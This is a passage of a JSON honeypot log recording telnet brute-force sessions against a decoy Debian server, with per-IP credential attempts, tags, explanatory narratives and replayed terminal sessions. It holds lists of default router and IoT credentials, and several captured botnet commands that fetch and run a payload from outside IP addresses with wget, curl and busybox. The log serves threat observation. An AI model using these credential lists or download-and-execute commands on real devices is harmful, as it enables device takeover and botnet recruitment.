PhrQjGzk","ok":false},{"u":"super","p":"super","ok":false},{"u":"tech","p":"tech","ok":false},{"u":"user","p":"1234","ok":false},{"u":"ximo","p":"","ok":false}],"attempt_n":[3,3,2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":15122,"distinct_creds":164,"distinct_users":15,"distinct_passwords":130,"got_shell":true,"shell_sessions":293,"commands":[],"command_n":[],"commands_total":3061,"distinct_commands":11,"narrative":[],"tags":[],"replay":null,"key":"468220b4d39f"},{"id":"d9651adbca75","t":"2026-10-13T08:01:56Z","first_t":"2026-10-12T07:58:21Z","repeats":2567,"merged":true,"ip":"178.141.224.197","cc":"RU","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"88888888","ok":false},{"u":"root","p":"","ok":false},{"u":"Admin","p":"Admin","ok":false},{"u":"admin","p":"BrAhMoS@15","ok":false},{"u":"cht","p":"chtngpon","ok":false},{"u":"root","p":"root","ok":true},{"u":"tech","p":"tech","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"1q2w3e","ok":false},{"u":"admin","p":"7ujMko0admin","ok":false},{"u":"admin","p":"CenturyL1nk","ok":false},{"u":"admin","p":"epicrouter","ok":false},{"u":"admin","p":"gpon","ok":false},{"u":"admin","p":"gpon@Vnt00","ok":false},{"u":"admin","p":"ho4uku6at","ok":false},{"u":"admin","p":"meinsm","ok":false},{"u":"admin","p":"password","ok":false},{"u":"admin","p":"plumeria0077","ok":false},{"u":"draytek","p":"1234","ok":false},{"u":"e8ehome","p":"e8ehome","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"ftp","p":"ftp","ok":false},{"u":"gpon","p":"gpon","ok":false},{"u":"localadmin","p":"localadmin","ok":false},{"u":"netscreen","p":"netscreen","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"12345","ok":false},{"u":"root","p":"admin","ok":false},{"u":"root","p":"adminpass","ok":false},{"u":"root","p":"bluehorse","ok":false},{"u":"root","p":"e2008jl","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"zyad1234","ok":false},{"u":"service","p":"service","ok":false},{"u":"super","p":"PhrQjGzk","ok":false},{"u":"support","p":"support","ok":false},{"u":"support","p":"support123","ok":false}],"attempt_n":[4,3,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":2567,"distinct_creds":164,"distinct_users":17,"distinct_passwords":130,"got_shell":true,"shell_sessions":68,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x4c\\x4a\\x4f\\x46\\x49\\x42'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x4c\\x4a\\x4f\\x46\\x49\\x42'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://103.68.95.197:55385/i ||curl -O http://103.68.95.197:55385/i ||/bin/busybox wget http://103.68.95.197:55385/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x5a\\x44\\x41\\x4e\\x41\\x54\\x44\\x48'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[2,2,2,2,2,2,2,2,2,2,2],"commands_total":708,"distinct_commands":11,"narrative":["Asked for a shell 6 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('LJOFIB', 'ZDANATDH') to confirm the shell was real and running its commands.","Tried to download a payload from 103.68.95.197 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":11.15,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nruijie@svr04:~$ "],[2.284,"start\n-bash: start: command not found\nruijie@svr04:~$ enable\n-bash: enable: command not found\nruijie@svr04:~$ config terminal\n-bash: config: command not found\nruijie@svr04:~$ system\n-bash: system: command not found\nruijie@svr04:~$ linuxshell\n-bash: linuxshell: command not found\nruijie@svr04:~$ su\n"],[2.33,"Password: \n\nroot@svr04:/home# sh\nroot@svr04:/home# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x4c\\x4a\\x4f\\x46\\x49\\x42'\n"],[2.971,"LJOFIB\nroot@svr04:/var# "],[3.815,"/bin/busybox wget;/bin/busybox echo -ne '\\x4c\\x4a\\x4f\\x46\\x49\\x42'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nLJOFIBroot@svr04:/var# "],[4.21,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://103.68.95.197:55385/i ||curl -O http://103.68.95.197:55385/i ||/bin/busybox wget http://103.68.95.197:55385/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x5a\\x44\\x41\\x4e\\x41\\x54\\x44\\x48'\n"],[4.438,"--2026-10-11 17:46:34--  http://103.68.95.197:55385/i\nConnecting to 103.68.95.197:55385... connected.\nHTTP request sent, awaiting response... "],[6.515,"\n"],[7.885,"\n--2026-10-11 17:46:37--  http://103.68.95.197:55385/i\nConnecting to 103.68.95.197:55385... connected.\nHTTP request sent, awaiting response... "],[9.961,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nZDANATDH\nroot@svr04:/var# "]],"truncated":false},"key":"2f94b0603b8f"},{"id":"4b24c54ebb1b","t":"2026-10-13T08:01:56Z","first_t":"2026-10-12T20:48:54Z","repeats":4216,"merged":true,"ip":"222.138.116.196","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"password","ok":false},{"u":"cht","p":"chtsgpon","ok":false},{"u":"root","p":"7ujMko0vizxv","ok":false},{"u":"root","p":"admin","ok":false},{"u":"root","p":"adminpass","ok":false},{"u":"root","p":"vizxv","ok":false},{"u":"888888","p":"888888","ok":false},{"u":"8ehomeasb","p":"8ehomeasb","ok":false},{"u":"Admin","p":"","ok":true},{"u":"Administrator","p":"admin","ok":false},{"u":"Manager","p":"friend","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"1234567890","ok":false},{"u":"admin","p":"CenturyL1nk","ok":false},{"u":"admin","p":"aquario","ok":false},{"u":"admin","p":"qwerty","ok":false},{"u":"cht","p":"chtngpon","ok":false},{"u":"cuadmin","p":"cu@Hnunicom","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"gdcuadmin","p":"gdcuadmin","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"nmgcuadmin","p":"nmgcuadmin","ok":false},{"u":"operator","p":"operator","ok":false},{"u":"root","p":"00000000","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"12341234","ok":false},{"u":"root","p":"12345678","ok":false},{"u":"root","p":"1234horses","ok":false},{"u":"root","p":"2010vesta","ok":false},{"u":"root","p":"54321","ok":false},{"u":"root","p":"Admin","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"bluehorse","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"jvbzd","ok":false},{"u":"root","p":"klv123","ok":false},{"u":"root","p":"klv1234","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"xc3511","ok":false}],"attempt_n":[3,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":4216,"distinct_creds":164,"distinct_users":15,"distinct_passwords":130,"got_shell":true,"shell_sessions":137,"commands":[">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x43\\x42\\x4d\\x51\\x4d\\x54'","config terminal","enable","linuxshell","sh","start","su","system"],"command_n":[1,1,1,1,1,1,1,1],"commands_total":1316,"distinct_commands":12,"narrative":["Asked for a shell 5 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back once ('CBMQMT') to confirm the shell was real and running its commands.","Probed for busybox, which is the shell it expects to find on an embedded device.","Ran 2 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","busybox"],"replay":null,"key":"3ee8c09de751"},{"id":"ab25f2e617ea","t":"2026-10-13T08:01:56Z","first_t":"2026-10-12T08:00:28Z","repeats":4859,"merged":true,"ip":"119.189.137.60","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"admin","p":"12345678","ok":false},{"u":"admin","p":"ho4uku6at","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"draytek","p":"1234","ok":false},{"u":"guest","p":"12345","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"root","ok":true},{"u":"telnetadmin","p":"telnetadmin","ok":false},{"u":"CUAdmin","p":"CUAdmin","ok":false},{"u":"Manager","p":"friend","ok":false},{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"1q2w3e","ok":false},{"u":"admin","p":"7ujMko0admin","ok":false},{"u":"admin","p":"adminHW","ok":false},{"u":"admin","p":"aquario","ok":false},{"u":"admin","p":"chzhdpl","ok":false},{"u":"cht","p":"chtngpon","ok":false},{"u":"default","p":"default","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"20080826","ok":false},{"u":"root","p":"666666","ok":false},{"u":"root","p":"ikwb","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"root","p":"svgodie","ok":false},{"u":"super","p":"PhrQjGzk","ok":false},{"u":"support","p":"support","ok":false},{"u":"ubnt","p":"ubnt","ok":false},{"u":"user","p":"","ok":false}],"attempt_n":[3,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":4860,"distinct_creds":148,"distinct_users":17,"distinct_passwords":115,"got_shell":true,"shell_sessions":112,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x46\\x57\\x4b\\x42\\x42\\x57'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x46\\x57\\x4b\\x42\\x42\\x57'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://180.190.202.146:57951/i ||curl -O http://180.190.202.146:57951/i ||/bin/busybox wget http://180.190.202.146:57951/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x44\\x52\\x4e\\x51\\x43\\x43\\x57\\x54'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[1,1,1,1,1,1,1,1,1,1,1],"commands_total":1179,"distinct_commands":12,"narrative":["Asked for a shell 6 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('DRNQCCWT', 'FWKBBW') to confirm the shell was real and running its commands.","Tried to download a payload from 180.190.202.146 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":8.27,"frames":[[0.0,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nftp@svr04:~$ "],[1.552,"start\n-bash: start: command not found\nftp@svr04:~$ enable\n-bash: enable: command not found\nftp@svr04:~$ config terminal\n-bash: config: command not found\nftp@svr04:~$ system"],[1.592,"\n-bash: system: command not found\nftp@svr04:~$ linuxshell\n-bash: linuxshell: command not found\nftp@svr04:~$ su\nPassword: \n\nroot@svr04:/home# sh\nroot@svr04:/home# >/var/run/.x&&"],[1.634,"cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x46\\x57\\x4b\\x42\\x42\\x57'\n"],[2.613,"FWKBBW\nroot@svr04:/var# "],[3.441,"/bin/busybox wget;/bin/busybox echo -ne '\\x46\\x57\\x4b\\x42\\x42\\x57'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nFWKBBWroot@svr04:/var# "],[4.143,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://180.190.202.146:57951/i ||curl -O http://180.190.202.146:57951/i ||/bin/busybox wget http://180.190.202.146:57951/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo"],[4.183," -e '\\x44\\x52\\x4e\\x51\\x43\\x43\\x57\\x54'\n"],[4.425,"--2026-10-10 22:35:54--  http://180.190.202.146:57951/i\nConnecting to 180.190.202.146:57951... connected.\nHTTP request sent, awaiting response... "],[5.985,"\n"],[6.673,"\n--2026-10-10 22:35:56--  http://180.190.202.146:57951/i\nConnecting to 180.190.202.146:57951... connected.\nHTTP request sent, awaiting response... "],[7.924,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nDRNQCCWT\nroot@svr04:/var# "]],"truncated":false},"key":"8a033da7605b"},{"id":"20f18a0327c1","t":"2026-10-13T08:01:56Z","first_t":"2026-10-12T07:58:29Z","repeats":25138,"merged":true,"ip":"112.248.191.35","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"gpon","ok":false},{"u":"admin","p":"1111111","ok":false},{"u":"admin","p":"GeNeXiS@19","ok":true},{"u":"admin","p":"qwerty","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"!!Huawei","p":"@HuaweiHgw","ok":false},{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"CTLSupport12","ok":false},{"u":"admin","p":"adminHW","ok":false},{"u":"admin","p":"bayandsl","ok":false},{"u":"admin","p":"meinsm","ok":false},{"u":"admin","p":"plumeria0077","ok":false},{"u":"admin","p":"ttcn@77CN","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"cht","p":"chtngpon","ok":false},{"u":"cunmgadmin","p":"cunmgadmin","ok":false},{"u":"default","p":"default","ok":false},{"u":"gdcuadmin","p":"gdcuadmin","ok":false},{"u":"gpon","p":"gpon","ok":false},{"u":"guest","p":"12345","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"nmgcuadmin","p":"nmgcuadmin","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"7ujMko0admin","ok":false},{"u":"root","p":"Fireitup","ok":false},{"u":"root","p":"bluehorse","ok":false},{"u":"root","p":"dreambox","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"ifconfig","ok":false},{"u":"root","p":"pass","ok":false},{"u":"root","p":"password","ok":false},{"u":"root","p":"realtek","ok":false},{"u":"root","p":"svgodie","ok":false},{"u":"root","p":"vertex25ektks123","ok":false},{"u":"root","p":"zlxx","ok":false},{"u":"root","p":"zyad1234","ok":false},{"u":"service","p":"service","ok":false}],"attempt_n":[3,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":25143,"distinct_creds":164,"distinct_users":19,"distinct_passwords":130,"got_shell":true,"shell_sessions":469,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x50\\x48\\x41\\x41\\x55\\x59'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x50\\x48\\x41\\x41\\x55\\x59'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://42.52.192.164:49983/i ||curl -O http://42.52.192.164:49983/i ||/bin/busybox wget http://42.52.192.164:49983/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x4e\\x54\\x57\\x56\\x51\\x45\\x55\\x43'","config terminal","enable","linuxshell","sh","start","su","system"],"command_n":[2,2,2,2,2,2,2,2,2,2],"commands_total":4820,"distinct_commands":11,"narrative":["Asked for a shell 5 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('NTWVQEUC', 'PHAAUY') to confirm the shell was real and running its commands.","Tried to download a payload from 42.52.192.164 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":3.02,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nroot@svr04:~# "],[0.29,"start\n-bash: start: command not found\nroot@svr04:~# enable\n-bash: enable: command not found\nroot@svr04:~# config terminal\n-bash: config: command not found\nroot@svr04:~# system\n-bash: system: command not found\nroot@svr04:~# linuxshell\n"],[0.332,"-bash: linuxshell: command not found\nroot@svr04:~# su\nroot@svr04:~# shell\n-bash: shell: command not found\nroot@svr04:~# sh\nroot@svr04:~# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x50\\x48\\x41\\x41\\x55\\x59'\n"],[0.739,"PHAAUY\nroot@svr04:/var# "],[0.991,"/bin/busybox wget;/bin/busybox echo -ne '\\x50\\x48\\x41\\x41\\x55\\x59'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nPHAAUYroot@svr04:/var# "],[1.242,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://42.52.192.164:49983/i ||curl -O http://42.52.192.164:49983/i ||/bin/busybox wget http://42.52.192.164:49983/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x4e\\x54\\x57\\x56\\x51\\x45\\x55\\x43'\n"],[1.596,"--2026-10-10 04:00:25--  http://42.52.192.164:49983/i\nConnecting to 42.52.192.164:49983... connected.\nHTTP request sent, awaiting response... "],[2.073,"\n"],[2.393,"\n--2026-10-10 04:00:26--  http://42.52.192.164:49983/i\nConnecting to 42.52.192.164:49983... connected.\nHTTP request sent, awaiting response... "],[2.764,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nNTWVQEUC\nroot@svr04:/var# "]],"truncated":false},"key":"7bdb07a32a81"},{"id":"d9c29b0feaad","t":"2026-10-13T08:01:56Z","first_t":"2026-10-12T07:58:29Z","repeats":9048,"merged":true,"ip":"178.141.242.87","cc":"RU","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"juantech","ok":false},{"u":"Admin","p":"","ok":true},{"u":"localadmin","p":"localadmin","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"ikwb","ok":false},{"u":"tech","p":"tech","ok":false},{"u":"user","p":"1234","ok":false},{"u":"CUAdmin","p":"CUAdmin","ok":false},{"u":"admin","p":"","ok":false},{"u":"admin","p":"1111111","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"admin","p":"BrAhMoS@15","ok":false},{"u":"admin","p":"CenturyL1nk","ok":false},{"u":"admin","p":"GeNeXiS@19","ok":true},{"u":"admin","p":"aquario","ok":false},{"u":"admin","p":"bayandsl","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"admin","p":"pass","ok":false},{"u":"admin","p":"password","ok":false},{"u":"cht","p":"chtsgpon","ok":false},{"u":"cuadmin","p":"cuadmin","ok":false},{"u":"draytek","p":"1234","ok":false},{"u":"ftp","p":"ftp","ok":false},{"u":"guest","p":"123456","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"nmgcuadmin","p":"nmgcuadmin","ok":false},{"u":"root","p":"123456","ok":false},{"u":"root","p":"12345678","ok":false},{"u":"root","p":"1234567890","ok":false},{"u":"root","p":"1234horses","ok":false},{"u":"root","p":"2010vesta","ok":false},{"u":"root","p":"54321","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"e2008jl","ok":false},{"u":"root","p":"jvbzd","ok":false},{"u":"root","p":"klv123","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"xc3511","ok":false}],"attempt_n":[3,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":9049,"distinct_creds":164,"distinct_users":16,"distinct_passwords":130,"got_shell":true,"shell_sessions":172,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x44\\x53\\x4d\\x50\\x54\\x56'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x44\\x53\\x4d\\x50\\x54\\x56'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://175.175.239.99:39285/i ||curl -O http://175.175.239.99:39285/i ||/bin/busybox wget http://175.175.239.99:39285/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x56\\x4f\\x41\\x4a\\x4a\\x51\\x43\\x42'","config terminal","enable","linuxshell","sh","start","su","system","shell"],"command_n":[4,4,4,4,4,4,4,4,4,4,1],"commands_total":1773,"distinct_commands":11,"narrative":["Asked for a shell 6 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back twice ('DSMPTV', 'VOAJJQCB') to confirm the shell was real and running its commands.","Tried to download a payload from 175.175.239.99 using wget, falling back through each in turn. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself on the way out.","Ran 3 other commands that match no pattern this page recognises. The transcript has them."],"tags":["shell-hunt","marker-echo","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":13.84,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nroot@svr04:~# "],[2.446,"start\n-bash: start: command not found\nroot@svr04:~# enable\n-bash: enable: command not found\nroot@svr04:~# config terminal\n-bash: config: command not found\nroot@svr04:~# system\n"],[2.492,"-bash: system: command not found\nroot@svr04:~# linuxshell\n-bash: linuxshell: command not found\nroot@svr04:~# su\nroot@svr04:~# shell\n-bash: shell: command not found\nroot@svr04:~# sh\nroot@svr04:~# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr"],[2.532,";>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x44\\x53\\x4d\\x50\\x54\\x56'\n"],[3.076,"DSMPTV\nroot@svr04:/var# "],[5.867,"/bin/busybox wget;/bin/busybox echo -ne '\\x44\\x53\\x4d\\x50\\x54\\x56'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nDSMPTVroot@svr04:/var# "],[8.358,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://175.175.239.99:39285/i ||curl -O http://175.175.239.99:39285/i ||/bin/busybox wget http://175.175.239.99:39285/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x56\\x4f\\x41\\x4a\\x4a\\x51\\x43\\x42'\n"],[8.602,"--2026-10-11 14:19:46--  http://175.175.239.99:39285/i\nConnecting to 175.175.239.99:39285... connected.\nHTTP request sent, awaiting response... "],[9.352,"\n"],[9.74,"\n--2026-10-11 14:19:47--  http://175.175.239.99:39285/i\nConnecting to 175.175.239.99:39285... connected.\nHTTP request sent, awaiting response... "],[12.345,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nVOAJJQCB\nroot@svr04:/var# "]],"truncated":false},"key":"42129f9c00cb"},{"id":"219d633b99ef","t":"2026-10-13T08:01:55Z","first_t":"2026-10-12T07:58:29Z","repeats":4486,"merged":true,"ip":"94.243.11.213","cc":"RU","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"klv123","ok":false},{"u":"admin","p":"GeNeXiS@19","ok":false},{"u":"admin","p":"gpon","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"root","p":"12345","ok":false},{"u":"root","p":"2010vesta","ok":false},{"u":"root","p":"adminpass","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"zlxx","ok":false},{"u":"666666","p":"666666","ok":false},{"u":"admin","p":"","ok":false},{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"7ujMko0admin","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"GeNeXiS@19","ok":true},{"u":"admin","p":"adminpass","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"admin","p":"chzhdpl","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"epicrouter","ok":false},{"u":"admin","p":"plumeria0077","ok":false},{"u":"default","p":"default","ok":false},{"u":"e8ehome","p":"e8ehome","ok":false},{"u":"guest","p":"123456","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"1234","ok":false},{"u":"root","p":"2011vesta","ok":false},{"u":"root","p":"54321","ok":false},{"u":"root","p":"888888","ok":false},{"u":"root","p":